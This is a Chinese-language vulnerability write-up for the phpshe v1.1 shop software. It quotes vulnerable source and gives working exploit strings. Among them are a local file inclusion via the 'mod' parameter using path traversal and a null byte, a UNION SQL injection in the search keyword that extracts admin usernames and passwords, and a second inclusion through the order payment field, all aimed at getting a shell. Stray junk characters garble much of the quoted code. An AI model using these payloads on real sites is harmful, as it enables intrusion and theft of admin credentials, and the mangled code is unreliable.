phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
1 i1 k$ n- ~; e9 R' @/* By: : Kn1f3
& Z+ P9 x( U8 w/* E-Mail : 681796@qq.com
1 b: t2 N0 f- s5 x/*******************************************************/
! R  x! j; ^* q# g) Y# H0×00 整体大概参数传输
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//common.php
5 R3 K' l- K/ W( ~7 ^if (get_magic_quotes_gpc()) {
& a, A! Z# r) a& G9 X!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
  k' i+ C& z2 u3 y  x$ f1 a!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
0 |& V/ Y$ v& o( ^- a  [0 D/ \# E, i1 R- csession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
* j" b# m8 s; @1 o. z7 t7 ?!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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& h& A) o+ f/ b' e, b6 W" ~6 w0×01 包含漏洞
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" y4 k/ B3 ]2 N" M5 n* w- f$ Z% l//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
  z0 b& ~, y* Z" Y5 ginclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
* {1 y8 }! ~$ h3 p2 M) C3 [. j//common 文件 第15行开始
  N# c* c: C8 L. A- {url路由配置
$module = $mod = $act = 'index';
# c$ {+ C" R) x9 P0 Z- N$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
# I9 W) g" L3 f- F$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, J0 Q4 R+ L& _6 w5 o+ f//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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4 r: c  k# x# [% v0 b0 @# P 0×02 搜索注入

<code id="code2">

//product.php文件
: e+ m4 c3 x/ h) V% n  Q7 d3 Dcase 'list':
4 }* |- O9 ?+ X/ f' K7 H8 a- Q2 f$category_id = intval($id);
$ L, b6 J; }% L! l% K$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ f% ~( \3 Y. Z1 J2 _1 R2 Kif ($_g_orderby) {
; N. N1 x& O* f+ g; h2 a8 L$orderby = explode('_', $_g_orderby);
2 Z4 u2 f: Y6 l( t$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
! E' q, ]6 g- n/ e# z4 U; c# R" p- [: Eelse {
$sqlwhere .= " order by `product_id` desc";
- W% d! _; e' @' h. \  R}
3 A- U; s5 `9 Y/ v0 Y1 k6 Y$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
8 l/ r6 T9 k& b7 ]: Y+ ^. k$product_hotlist = product_hotlist();
: E1 f( T0 c, X: Z& Y//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
- y& P( o0 N  C1 S; I2 G* Q! [$sqlwhere = $this->_dowhere($where);
4 F1 m( ?8 c' @5 Rreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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. x! ^) N5 G/ Z. G//exp
/ D$ O' @3 U; O/ w7 V: S) y$ t/ o* Uproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

+ ]& d) I/ [5 J4 a- p4 d2 M$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

; E2 i- n/ D! eforeach($cache_payway as $k => $v) {

2 s$ _: C" o/ ]: }5 d$ Q  \; _$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

* I# C' |0 U# {% ^. j- d7 j# kif ($k == 'bank') {

) t" _# q% Y; }9 D- J$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

: B9 ]4 s$ c. ^; L- k. n}

}

: C7 _$ b  C, E4 h- G7 f$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 _3 @8 q- M/ H: O( ^! S!$order['order_id'] && pe_error('订单号错误...');

9 V, T6 c$ l7 a/ ?+ p. Kif (isset($_p_pesubmit)) {

% a5 J; Z6 z. C: Z1 N: X) Lif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

7 C9 l! V$ V6 @, s2 @$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

8 d, M  D1 W9 r+ I! x. t/ R$order['order_name'] .= "{$v['product_name']};";

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8 S) E6 I- w; n2 L# D2 Y* C! D+ Becho '正在为您连接支付网站，请稍后...';

" i! A$ F* `' C" d5 [include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" n5 W/ G& A9 O6 ]1 \3 l/ @% x4 P( t}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

* y  v% ?, \- c. d' U; V* Rpe_error('支付错误...');

}

# t$ x- U2 b; L' I  j/ C6 i}

! i9 n, [& G* v1 i: I$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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